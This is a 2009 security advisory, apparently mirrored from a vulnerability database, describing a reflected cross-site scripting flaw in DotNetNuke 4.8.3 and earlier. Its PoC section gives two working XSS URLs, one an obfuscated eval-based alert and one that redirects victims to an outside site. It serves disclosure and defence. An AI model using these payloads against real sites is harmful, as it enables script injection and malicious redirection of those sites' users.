Dot Net Nuke (DNN) <= 4.8.3 XSS Vulnerability

2009.04.09
Credit: AmnPardaz
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

########################## www.BugReport.ir ####################################### # # AmnPardaz Security Research Team # # Title: Dot Net Nuke (DNN) XSS Vulnerability. # Vendor: www.dotnetnuke.com # Vulnerable Version: 4.8.3 and prior versions # Exploit: N/A # Impact: Low # Fix: N/A # Original Advisory: http://bugreport.ir/index.php?/38 ######################################################################## ########### #################### 1. Description: #################### DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites. #################### 2. Vulnerability: #################### XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL. In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO". #################### 3. PoC: #################### - Alert by XSS http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx - Redirect by XSS (We must use a "?" because of using ":" in "HTTP://") http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive'; #################### 4. Solution: #################### Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx). #################### 5. Credit : #################### AmnPardaz Security Research & Penetration Testing Group Contact: admin[4t}bugreport{d0t]ir WwW.BugReport.ir WwW.AmnPardaz.com

References:

http://xforce.iss.net/xforce/xfdb/42752
http://www.securityfocus.com/bid/29437
http://www.securityfocus.com/archive/1/archive/1/492793/100/0/threaded


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